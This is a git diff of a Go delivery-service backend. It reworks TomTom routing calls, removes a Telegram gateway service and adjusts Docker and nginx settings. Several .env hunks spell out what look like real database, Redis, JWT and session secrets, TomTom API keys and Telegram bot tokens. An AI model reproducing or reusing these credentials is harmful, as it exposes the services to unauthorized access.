apiKey := os.Getenv("TOMTOM_API_KEY")
|
||||||
|
if apiKey == "" {
|
||||||
|
// Fallback sur calcul local si pas de clé API
|
||||||
distance := CalculateDistance(from, to)
|
distance := CalculateDistance(from, to)
|
||||||
return CalculateETA(distance), distance, nil
|
return CalculateETA(distance), distance, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// API TomTom Routing: Calculate Route avec trafic
|
||||||
|
apiURL := fmt.Sprintf(
|
||||||
|
"https://api.tomtom.com/routing/1/calculateRoute/%f,%f:%f,%f/json?key=%s&traffic=true&travelMode=car",
|
||||||
|
from.Latitude, from.Longitude, to.Latitude, to.Longitude, apiKey,
|
||||||
|
)
|
||||||
|
|
||||||
client := &http.Client{Timeout: 8 * time.Second}
|
client := &http.Client{Timeout: 8 * time.Second}
|
||||||
|
resp, err := client.Get(apiURL)
|
||||||
buildReq := func(key string) (*http.Request, error) {
|
|
||||||
u := &url.URL{
|
|
||||||
Scheme: "https",
|
|
||||||
Host: "api.tomtom.com",
|
|
||||||
Path: fmt.Sprintf("/routing/1/calculateRoute/%f,%f:%f,%f/json", from.Latitude, from.Longitude, to.Latitude, to.Longitude),
|
|
||||||
}
|
|
||||||
q := url.Values{}
|
|
||||||
q.Set("key", key)
|
|
||||||
q.Set("traffic", "true")
|
|
||||||
q.Set("travelMode", "car")
|
|
||||||
u.RawQuery = q.Encode()
|
|
||||||
return http.NewRequest(http.MethodGet, u.String(), nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
resp, err := tomTomKeys.Do(client, buildReq)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
// Fallback sur calcul local en cas d'erreur réseau
|
||||||
distance := CalculateDistance(from, to)
|
distance := CalculateDistance(from, to)
|
||||||
eta := CalculateETA(distance)
|
eta := CalculateETA(distance)
|
||||||
fmt.Printf("⚠️ TomTom indisponible, fallback: %.2f km -> %d min (%v)\n", distance, eta, err)
|
fmt.Printf("⚠️ TomTom timeout, fallback: %.2f km -> %d min\n", distance, eta)
|
||||||
return eta, distance, nil
|
return eta, distance, nil
|
||||||
}
|
}
|
||||||
defer resp.Body.Close()
|
defer resp.Body.Close()
|
||||||
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
// Fallback sur calcul local en cas d'erreur API
|
||||||
distance := CalculateDistance(from, to)
|
distance := CalculateDistance(from, to)
|
||||||
eta := CalculateETA(distance)
|
eta := CalculateETA(distance)
|
||||||
fmt.Printf("⚠️ TomTom API error %d, fallback: %.2f km -> %d min\n", resp.StatusCode, distance, eta)
|
fmt.Printf("⚠️ TomTom API error %d, fallback: %.2f km -> %d min\n", resp.StatusCode, distance, eta)
|
||||||
@@ -325,14 +294,18 @@ func CalculateETAWithTomTom(from, to Coordinates) (int, float64, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
summary := routeResponse.Routes[0].Summary
|
summary := routeResponse.Routes[0].Summary
|
||||||
|
|
||||||
|
// Calculer ETA en minutes (arrondi supérieur)
|
||||||
etaMinutes := (summary.TravelTimeInSeconds + 59) / 60
|
etaMinutes := (summary.TravelTimeInSeconds + 59) / 60
|
||||||
distanceKm := float64(summary.LengthInMeters) / 1000.0
|
distanceKm := float64(summary.LengthInMeters) / 1000.0
|
||||||
|
|
||||||
|
// Appliquer minimum
|
||||||
if etaMinutes < MinETA {
|
if etaMinutes < MinETA {
|
||||||
etaMinutes = MinETA
|
etaMinutes = MinETA
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Printf("🛣️ TomTom: %.2f km -> %d min (trafic réel)\n", distanceKm, etaMinutes)
|
fmt.Printf("🛣️ TomTom: %.2f km -> %d min (trafic réel)\n", distanceKm, etaMinutes)
|
||||||
|
|
||||||
return etaMinutes, distanceKm, nil
|
return etaMinutes, distanceKm, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -530,13 +503,13 @@ func (gs *GeoService) GetAllDeliveryDistances(target Coordinates, availableUsern
|
|||||||
// ============================================
|
// ============================================
|
||||||
|
|
||||||
// GetDeliveryHeatmap retourne toutes les positions des livreurs
|
// GetDeliveryHeatmap retourne toutes les positions des livreurs
|
||||||
func (gs *GeoService) GetDeliveryHeatmap() ([]map[string]any, error) {
|
func (gs *GeoService) GetDeliveryHeatmap() ([]map[string]interface{}, error) {
|
||||||
keys, err := gs.redis.Keys(gs.ctx, "delivery:location:*").Result()
|
keys, err := gs.redis.Keys(gs.ctx, "delivery:location:*").Result()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
var heatmap []map[string]any
|
var heatmap []map[string]interface{}
|
||||||
|
|
||||||
for _, key := range keys {
|
for _, key := range keys {
|
||||||
data, err := gs.redis.Get(gs.ctx, key).Result()
|
data, err := gs.redis.Get(gs.ctx, key).Result()
|
||||||
@@ -544,7 +517,7 @@ func (gs *GeoService) GetDeliveryHeatmap() ([]map[string]any, error) {
|
|||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
var location map[string]any
|
var location map[string]interface{}
|
||||||
json.Unmarshal([]byte(data), &location)
|
json.Unmarshal([]byte(data), &location)
|
||||||
|
|
||||||
username := key[len("delivery:location:"):]
|
username := key[len("delivery:location:"):]
|
||||||
@@ -555,7 +528,3 @@ func (gs *GeoService) GetDeliveryHeatmap() ([]map[string]any, error) {
|
|||||||
|
|
||||||
return heatmap, nil
|
return heatmap, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (gs *GeoService) CorrectionService() *AddressCorrectionService {
|
|
||||||
return gs.correctionService
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -1,89 +0,0 @@
|
|||||||
package services
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"log"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
var LBTelegram *LBTelegramService
|
|
||||||
|
|
||||||
type LBTelegramService struct {
|
|
||||||
gatewayURL string
|
|
||||||
Bot1Username string
|
|
||||||
Bot2Username string
|
|
||||||
client *http.Client
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewLBTelegramService() *LBTelegramService {
|
|
||||||
url := os.Getenv("LBTELEGRAM_URL")
|
|
||||||
if url == "" {
|
|
||||||
url = "http://lbtelegram:8081"
|
|
||||||
}
|
|
||||||
svc := &LBTelegramService{
|
|
||||||
gatewayURL: url,
|
|
||||||
Bot1Username: os.Getenv("LBTELEGRAM_BOT1_USERNAME"),
|
|
||||||
Bot2Username: os.Getenv("LBTELEGRAM_BOT2_USERNAME"),
|
|
||||||
client: &http.Client{Timeout: 10 * time.Second},
|
|
||||||
}
|
|
||||||
LBTelegram = svc
|
|
||||||
return svc
|
|
||||||
}
|
|
||||||
|
|
||||||
func (s *LBTelegramService) IsConfigured() bool {
|
|
||||||
return os.Getenv("LBTELEGRAM_URL") != ""
|
|
||||||
}
|
|
||||||
|
|
||||||
// EnrollUser enrôle un utilisateur auprès de LBTelegram après liaison du compte.
|
|
||||||
// LBTelegram envoie lui-même le message de confirmation (chaîne Bot1→Bot2→Bot3).
|
|
||||||
func (s *LBTelegramService) EnrollUser(chatID int64, username, role string) error {
|
|
||||||
payload := map[string]interface{}{
|
|
||||||
"user_id": chatID,
|
|
||||||
"username": username,
|
|
||||||
"role": role,
|
|
||||||
"chat_id": chatID,
|
|
||||||
}
|
|
||||||
|
|
||||||
body, _ := json.Marshal(payload)
|
|
||||||
resp, err := s.client.Post(s.gatewayURL+"/enrollment/begin", "application/json", bytes.NewReader(body))
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("enrollment: %w", err)
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
b, _ := io.ReadAll(resp.Body)
|
|
||||||
return fmt.Errorf("enrollment HTTP %d: %s", resp.StatusCode, string(b))
|
|
||||||
}
|
|
||||||
|
|
||||||
log.Printf("✅ [LB] Enrollment OK pour %s (%s)", username, role)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// SendNotification envoie un message via la gateway LBTelegram.
|
|
||||||
// Le bot est choisi automatiquement selon la stratégie configurée (failover/roundrobin/leastconn).
|
|
||||||
func (s *LBTelegramService) SendNotification(userID int64, message string) error {
|
|
||||||
payload := map[string]interface{}{
|
|
||||||
"user_id": userID,
|
|
||||||
"message": message,
|
|
||||||
}
|
|
||||||
|
|
||||||
body, _ := json.Marshal(payload)
|
|
||||||
resp, err := s.client.Post(s.gatewayURL+"/notify", "application/json", bytes.NewReader(body))
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("notify: %w", err)
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
b, _ := io.ReadAll(resp.Body)
|
|
||||||
return fmt.Errorf("notify HTTP %d: %s", resp.StatusCode, string(b))
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
@@ -10,6 +10,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// TelegramBot est l'instance globale accessible depuis le package db
|
||||||
var TelegramBot *TelegramService
|
var TelegramBot *TelegramService
|
||||||
|
|
||||||
type TelegramService struct {
|
type TelegramService struct {
|
||||||
@@ -95,52 +96,6 @@ func (t *TelegramService) SendMessage(chatID int64, text string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// SendMessageWithButtons envoie un message HTML avec des boutons inline (URL buttons).
|
|
||||||
// buttons est une liste de paires [texte, url].
|
|
||||||
func (t *TelegramService) SendMessageWithButtons(chatID int64, text string, buttons [][2]string) error {
|
|
||||||
if !t.IsConfigured() {
|
|
||||||
return fmt.Errorf("telegram non configuré")
|
|
||||||
}
|
|
||||||
|
|
||||||
row := make([]map[string]string, 0, len(buttons))
|
|
||||||
for _, b := range buttons {
|
|
||||||
row = append(row, map[string]string{"text": b[0], "url": b[1]})
|
|
||||||
}
|
|
||||||
|
|
||||||
payload := map[string]interface{}{
|
|
||||||
"chat_id": chatID,
|
|
||||||
"text": text,
|
|
||||||
"parse_mode": "HTML",
|
|
||||||
"reply_markup": map[string]interface{}{
|
|
||||||
"inline_keyboard": [][]map[string]string{row},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
body, err := json.Marshal(payload)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("marshal: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", t.botToken)
|
|
||||||
req, err := http.NewRequest("POST", url, bytes.NewBuffer(body))
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("création requête: %w", err)
|
|
||||||
}
|
|
||||||
req.Header.Set("Content-Type", "application/json")
|
|
||||||
|
|
||||||
client := &http.Client{Timeout: 10 * time.Second}
|
|
||||||
resp, err := client.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("envoi: %w", err)
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
return fmt.Errorf("telegram API status %d", resp.StatusCode)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// SetWebhook enregistre l'URL webhook auprès de Telegram
|
// SetWebhook enregistre l'URL webhook auprès de Telegram
|
||||||
func (t *TelegramService) SetWebhook(webhookURL string) error {
|
func (t *TelegramService) SetWebhook(webhookURL string) error {
|
||||||
if !t.IsConfigured() {
|
if !t.IsConfigured() {
|
||||||
@@ -148,7 +103,7 @@ func (t *TelegramService) SetWebhook(webhookURL string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
payload := map[string]interface{}{
|
payload := map[string]interface{}{
|
||||||
"url": webhookURL,
|
"url": webhookURL,
|
||||||
"allowed_updates": []string{"message"},
|
"allowed_updates": []string{"message"},
|
||||||
}
|
}
|
||||||
if t.webhookSecret != "" {
|
if t.webhookSecret != "" {
|
||||||
|
|||||||
@@ -11,96 +11,25 @@ import (
|
|||||||
"io"
|
"io"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"os"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// GeocodeWithTomTom géocode une adresse via l'API TomTom Search.
|
|
||||||
func GeocodeWithTomTom(address string) (*GeoLocation, error) {
|
|
||||||
client := &http.Client{Timeout: 10 * time.Second}
|
|
||||||
|
|
||||||
buildReq := func(key string) (*http.Request, error) {
|
|
||||||
u := &url.URL{
|
|
||||||
Scheme: "https",
|
|
||||||
Host: "api.tomtom.com",
|
|
||||||
Path: fmt.Sprintf("/search/2/geocode/%s.json", url.PathEscape(address)),
|
|
||||||
}
|
|
||||||
q := url.Values{}
|
|
||||||
q.Set("key", key)
|
|
||||||
q.Set("countrySet", "FR")
|
|
||||||
q.Set("limit", "1")
|
|
||||||
u.RawQuery = q.Encode()
|
|
||||||
return http.NewRequest(http.MethodGet, u.String(), nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
resp, err := tomTomKeys.Do(client, buildReq)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("TomTom geocode: %w", err)
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
body, _ := io.ReadAll(resp.Body)
|
|
||||||
return nil, fmt.Errorf("TomTom geocode %d: %s", resp.StatusCode, string(body))
|
|
||||||
}
|
|
||||||
|
|
||||||
body, err := io.ReadAll(resp.Body)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("TomTom geocode lecture: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var parsed struct {
|
|
||||||
Results []struct {
|
|
||||||
Position struct {
|
|
||||||
Lat float64 `json:"lat"`
|
|
||||||
Lon float64 `json:"lon"`
|
|
||||||
} `json:"position"`
|
|
||||||
Address struct {
|
|
||||||
FreeformAddress string `json:"freeformAddress"`
|
|
||||||
} `json:"address"`
|
|
||||||
MatchConfidence struct {
|
|
||||||
Score float64 `json:"score"`
|
|
||||||
} `json:"matchConfidence"`
|
|
||||||
} `json:"results"`
|
|
||||||
}
|
|
||||||
if err := json.Unmarshal(body, &parsed); err != nil {
|
|
||||||
return nil, fmt.Errorf("TomTom geocode parsing: %w", err)
|
|
||||||
}
|
|
||||||
if len(parsed.Results) == 0 {
|
|
||||||
return nil, fmt.Errorf("TomTom geocode: aucun résultat pour '%s'", address)
|
|
||||||
}
|
|
||||||
|
|
||||||
r := parsed.Results[0]
|
|
||||||
log.Printf("📍 [GEO] TomTom geocode '%s' → %s (%.6f, %.6f) conf=%.2f",
|
|
||||||
address, r.Address.FreeformAddress, r.Position.Lat, r.Position.Lon, r.MatchConfidence.Score)
|
|
||||||
|
|
||||||
return &GeoLocation{
|
|
||||||
Latitude: r.Position.Lat,
|
|
||||||
Longitude: r.Position.Lon,
|
|
||||||
DisplayName: r.Address.FreeformAddress,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func GetETAWithTraffic(from, to Coordinates) (etaMinutes int, distanceKm float64, err error) {
|
func GetETAWithTraffic(from, to Coordinates) (etaMinutes int, distanceKm float64, err error) {
|
||||||
client := &http.Client{Timeout: 10 * time.Second}
|
apiKey := os.Getenv("TOMTOM_API_KEY")
|
||||||
|
if apiKey == "" {
|
||||||
buildReq := func(key string) (*http.Request, error) {
|
return 0, 0, fmt.Errorf("TOMTOM_API_KEY non configurée")
|
||||||
u := &url.URL{
|
|
||||||
Scheme: "https",
|
|
||||||
Host: "api.tomtom.com",
|
|
||||||
Path: fmt.Sprintf("/routing/1/calculateRoute/%f,%f:%f,%f/json", from.Latitude, from.Longitude, to.Latitude, to.Longitude),
|
|
||||||
}
|
|
||||||
q := url.Values{}
|
|
||||||
q.Set("key", key)
|
|
||||||
q.Set("traffic", "true")
|
|
||||||
q.Set("travelMode", "car")
|
|
||||||
u.RawQuery = q.Encode()
|
|
||||||
return http.NewRequest(http.MethodGet, u.String(), nil)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
resp, err := tomTomKeys.Do(client, buildReq)
|
url := fmt.Sprintf(
|
||||||
|
"https://api.tomtom.com/routing/1/calculateRoute/%f,%f:%f,%f/json?key=%s&traffic=true&travelMode=car",
|
||||||
|
from.Latitude, from.Longitude, to.Latitude, to.Longitude, apiKey,
|
||||||
|
)
|
||||||
|
|
||||||
|
client := &http.Client{Timeout: 10 * time.Second}
|
||||||
|
resp, err := client.Get(url)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, 0, fmt.Errorf("erreur TomTom: %w", err)
|
return 0, 0, fmt.Errorf("erreur requête TomTom: %w", err)
|
||||||
}
|
}
|
||||||
defer resp.Body.Close()
|
defer resp.Body.Close()
|
||||||
|
|
||||||
@@ -124,9 +53,12 @@ func GetETAWithTraffic(from, to Coordinates) (etaMinutes int, distanceKm float64
|
|||||||
}
|
}
|
||||||
|
|
||||||
summary := routeResponse.Routes[0].Summary
|
summary := routeResponse.Routes[0].Summary
|
||||||
|
|
||||||
|
// Calculer ETA en minutes (arrondi supérieur)
|
||||||
etaMinutes = (summary.TravelTimeInSeconds + 59) / 60
|
etaMinutes = (summary.TravelTimeInSeconds + 59) / 60
|
||||||
distanceKm = float64(summary.LengthInMeters) / 1000.0
|
distanceKm = float64(summary.LengthInMeters) / 1000.0
|
||||||
|
|
||||||
log.Printf("🛣️ TomTom Routing: %.2f km → %d min (trafic inclus)", distanceKm, etaMinutes)
|
log.Printf("🛣️ TomTom Routing: %.2f km → %d min (trafic inclus)", distanceKm, etaMinutes)
|
||||||
|
|
||||||
return etaMinutes, distanceKm, nil
|
return etaMinutes, distanceKm, nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,95 +0,0 @@
|
|||||||
package services
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"log"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"sync/atomic"
|
|
||||||
)
|
|
||||||
|
|
||||||
type tomTomKeyManager struct {
|
|
||||||
keys []string
|
|
||||||
current atomic.Int32
|
|
||||||
}
|
|
||||||
|
|
||||||
var tomTomKeys = initTomTomKeyManager()
|
|
||||||
|
|
||||||
func initTomTomKeyManager() *tomTomKeyManager {
|
|
||||||
m := &tomTomKeyManager{}
|
|
||||||
seen := map[string]bool{}
|
|
||||||
|
|
||||||
candidates := []string{
|
|
||||||
os.Getenv("TOMTOM_API_KEY"),
|
|
||||||
os.Getenv("TOMTOM_API_KEY_1"),
|
|
||||||
os.Getenv("TOMTOM_API_KEY_2"),
|
|
||||||
os.Getenv("TOMTOM_API_KEY_3"),
|
|
||||||
}
|
|
||||||
for _, k := range candidates {
|
|
||||||
if k != "" && !seen[k] {
|
|
||||||
seen[k] = true
|
|
||||||
m.keys = append(m.keys, k)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
log.Printf("🔑 [TOMTOM] %d clé(s) API configurée(s)", len(m.keys))
|
|
||||||
return m
|
|
||||||
}
|
|
||||||
|
|
||||||
// currentKey retourne la clé active et son index.
|
|
||||||
func (m *tomTomKeyManager) currentKey() (string, int) {
|
|
||||||
n := len(m.keys)
|
|
||||||
if n == 0 {
|
|
||||||
return "", -1
|
|
||||||
}
|
|
||||||
idx := int(m.current.Load()) % n
|
|
||||||
return m.keys[idx], idx
|
|
||||||
}
|
|
||||||
|
|
||||||
// rotate passe à la clé suivante.
|
|
||||||
func (m *tomTomKeyManager) rotate(fromIdx int) {
|
|
||||||
n := len(m.keys)
|
|
||||||
if n <= 1 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
next := int32((fromIdx + 1) % n)
|
|
||||||
m.current.CompareAndSwap(int32(fromIdx), next)
|
|
||||||
log.Printf("🔄 [TOMTOM] Rotation clé %d → clé %d (quota atteint)", fromIdx+1, next+1)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Do exécute la requête en rotant automatiquement sur 403/429.
|
|
||||||
func (m *tomTomKeyManager) Do(client *http.Client, buildReq func(key string) (*http.Request, error)) (*http.Response, error) {
|
|
||||||
n := len(m.keys)
|
|
||||||
if n == 0 {
|
|
||||||
return nil, fmt.Errorf("aucune clé TomTom configurée (TOMTOM_API_KEY / TOMTOM_API_KEY_1..3)")
|
|
||||||
}
|
|
||||||
|
|
||||||
_, startIdx := m.currentKey()
|
|
||||||
|
|
||||||
for attempt := 0; attempt < n; attempt++ {
|
|
||||||
idx := (startIdx + attempt) % n
|
|
||||||
key := m.keys[idx]
|
|
||||||
|
|
||||||
req, err := buildReq(key)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
resp, err := client.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
if resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusTooManyRequests {
|
|
||||||
io.Copy(io.Discard, resp.Body)
|
|
||||||
resp.Body.Close()
|
|
||||||
m.rotate(idx)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
return resp, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil, fmt.Errorf("toutes les clés TomTom ont atteint leur quota (%d clé(s) testée(s))", n)
|
|
||||||
}
|
|
||||||
@@ -68,9 +68,7 @@ func AutoAssignWorker(database *db.Database) {
|
|||||||
nextCommand.CommandID, err)
|
nextCommand.CommandID, err)
|
||||||
} else {
|
} else {
|
||||||
log.Printf("✅ Commande %d auto-assignée", nextCommand.CommandID)
|
log.Printf("✅ Commande %d auto-assignée", nextCommand.CommandID)
|
||||||
if err := database.RemoveCommandFromQueue(nextCommand.CommandID); err != nil {
|
database.RemoveCommandFromQueue(nextCommand.CommandID)
|
||||||
log.Printf("⚠️ Impossible de retirer la commande %d de la queue: %v", nextCommand.CommandID, err)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,26 +0,0 @@
|
|||||||
DB_HOST=postgres
|
|
||||||
DB_PORT=5432
|
|
||||||
DB_USER=postgres
|
|
||||||
DB_PASSWORD=1SWDxH20rV7K2Uc2PNlwCaCxfVZEtKomF0CK9OMh
|
|
||||||
DB_NAME=gestion_db
|
|
||||||
DB_SSLMODE=disable
|
|
||||||
SESSION_SECRET=GwDgqYn7Tn4x6Hs9ZjUD6HP8B7pQWK
|
|
||||||
USER_JWT_SECRET=69F5ujM1YZ6JBh3pXczc3j0JzBuAvU
|
|
||||||
ADMIN_JWT_SECRET=RwPxdzSzAR7HcrufA6kEXHFdIiEX87
|
|
||||||
REDIS_HOST=redis
|
|
||||||
REDIS_PORT=6379
|
|
||||||
REDIS_PASSWORD=k6UYX9RtuXJVV1HUeefbSukMcSwjvVgRsh2qJGPh
|
|
||||||
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
|
|
||||||
TOMTOM_API_KEY_1=6F7HHk8GT6WGlZ22W4gfAbRiQk5lJoGV
|
|
||||||
TELEGRAM_BOT_TOKEN=7419967935:AAEeNIzlK6DqcQTL8q63zQ-Ted5W5VOd-LI
|
|
||||||
TELEGRAM_BOT_USERNAME=rezsssnfdsjfdsfbot
|
|
||||||
TELEGRAM_WEBHOOK_SECRET=vGB8n5H2fJTUx6jy6iYgYlqLz1mfSv9htF
|
|
||||||
TELEGRAM_WEBHOOK_URL=https://uber-demo.club/webhook/telegram
|
|
||||||
BACKEND_LINK_SECRET=QxAEEGUGRMtWbNvC2REo27haN78Rl5c5EQ
|
|
||||||
LBTELEGRAM_URL=http://lbtelegram:8081
|
|
||||||
LBTELEGRAM_BOT1_USERNAME=GetRezStealer_bot
|
|
||||||
LBTELEGRAM_BOT2_USERNAME=rezDJDFJSFUltraFast_bot
|
|
||||||
BACKEND_LINK_SECRET=change_me_internal_secret
|
|
||||||
API_PORT=8080
|
|
||||||
FRONTEND_PORT=5173
|
|
||||||
GIN_MODE=release
|
|
||||||
@@ -1,30 +0,0 @@
|
|||||||
# Gateway
|
|
||||||
PORT=8081
|
|
||||||
ENV=production
|
|
||||||
BOT_COUNT=2
|
|
||||||
|
|
||||||
# Bots Telegram
|
|
||||||
BOT1_TOKEN=8336841145:AAHPfHdgqLctEC_Zet5mT8D7ZXiwp8BQ1io
|
|
||||||
BOT1_USERNAME=GetRezStealer_bot
|
|
||||||
BOT1_WEBHOOK_SECRET=cVxqtea9s078ozDSlX57MWe6bjoLAK3ra7Zq
|
|
||||||
|
|
||||||
BOT2_TOKEN=8325503969:AAGffm9Q-oYr5ySf8cR4Wr-e2CA2p_xOrbg
|
|
||||||
BOT2_USERNAME=rezDJDFJSFUltraFast_bot
|
|
||||||
BOT2_WEBHOOK_SECRET=591aVEu1kj3YUVCNWAOU2xGdFNCVWqElzXGi
|
|
||||||
|
|
||||||
# URL publique de la gateway (pour setWebhook Telegram)
|
|
||||||
GATEWAY_URL=https://demo-uber.club
|
|
||||||
|
|
||||||
# JWT
|
|
||||||
JWT_SECRET=IxGF36s14J0ZNeQCF2Of0APc4kpNd5PlsJ
|
|
||||||
JWT_TTL_SECONDS=300
|
|
||||||
|
|
||||||
# Load balancer: roundrobin | leastconn | failover
|
|
||||||
LB_STRATEGY=failover
|
|
||||||
|
|
||||||
# Health check interval en secondes
|
|
||||||
HEALTH_CHECK_INTERVAL=30
|
|
||||||
|
|
||||||
# URL interne du backend pour valider les tokens de liaison
|
|
||||||
BACKEND_LINK_URL=http://backend:8080/api/internal/telegram/link
|
|
||||||
BACKEND_LINK_SECRET=QxAEEGUGRMtWbNvC2REo27haN78Rl5c5EQ
|
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
DB_HOST=postgres
|
||||||
|
DB_PORT=5432
|
||||||
|
DB_USER=postgres
|
||||||
|
DB_PASSWORD=votre_mot_de_passe
|
||||||
|
DB_NAME=gestion_db
|
||||||
|
DB_SSLMODE=disable
|
||||||
|
SESSION_SECRET=jfWR21Ywbuy{Yq<1A26TV)jCe
|
||||||
|
USER_JWT_SECRET=TheAmaziNgSecretJwtMotherFuckerInThEbitCh3232131231313443jqfdksdjfjsldfjlds
|
||||||
|
ADMIN_JWT_SECRET=TheAmaziNgSecretJwtMotherFuckerInThEbitCh3232131231313443jqfdksdjfjsldfjlzZ
|
||||||
|
REDIS_HOST=redis
|
||||||
|
REDIS_PORT=6379
|
||||||
|
REDIS_PASSWORD=dndsjvnsdnvjsvdnjsvdn
|
||||||
|
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
|
||||||
|
API_PORT=8080
|
||||||
|
FRONTEND_PORT=5173
|
||||||
|
GIN_MODE=release
|
||||||
@@ -42,7 +42,7 @@ COPY --from=builder /app/server .
|
|||||||
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
|
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
|
||||||
|
|
||||||
# Copier l'entrypoint
|
# Copier l'entrypoint
|
||||||
COPY docker-prod/backend/entrypoint.sh .
|
COPY docker/backend/entrypoint.sh .
|
||||||
RUN chmod +x entrypoint.sh
|
RUN chmod +x entrypoint.sh
|
||||||
|
|
||||||
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
|
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
|
||||||
@@ -66,8 +66,8 @@ USER root
|
|||||||
RUN mkdir -p /var/log/modsec /etc/nginx/certs && \
|
RUN mkdir -p /var/log/modsec /etc/nginx/certs && \
|
||||||
chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html
|
chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html
|
||||||
|
|
||||||
COPY docker-prod/backend/nginx.conf /etc/nginx/conf.d/app.conf
|
COPY docker/backend/nginx.conf /etc/nginx/conf.d/app.conf
|
||||||
COPY docker-prod/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
|
COPY docker/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
|
||||||
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \
|
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \
|
||||||
rm -f /etc/nginx/templates/conf.d/default.conf.template || true
|
rm -f /etc/nginx/templates/conf.d/default.conf.template || true
|
||||||
|
|
||||||
@@ -1,6 +1,3 @@
|
|||||||
# Exclure le corps des requêtes/réponses de l'audit log pour garder les lignes < 6KB (limite Wazuh)
|
|
||||||
SecAuditLogParts ABIFHZ
|
|
||||||
|
|
||||||
SecRuleRemoveById 932235
|
SecRuleRemoveById 932235
|
||||||
SecRuleRemoveById 911100
|
SecRuleRemoveById 911100
|
||||||
|
|
||||||
@@ -6,6 +6,19 @@ map $http_x_request_id $req_id {
|
|||||||
"" $request_id;
|
"" $request_id;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# =========================================================
|
||||||
|
# Upstreams
|
||||||
|
# =========================================================
|
||||||
|
upstream backend {
|
||||||
|
server backend:8080;
|
||||||
|
keepalive 32;
|
||||||
|
}
|
||||||
|
|
||||||
|
upstream frontend {
|
||||||
|
server frontend:80;
|
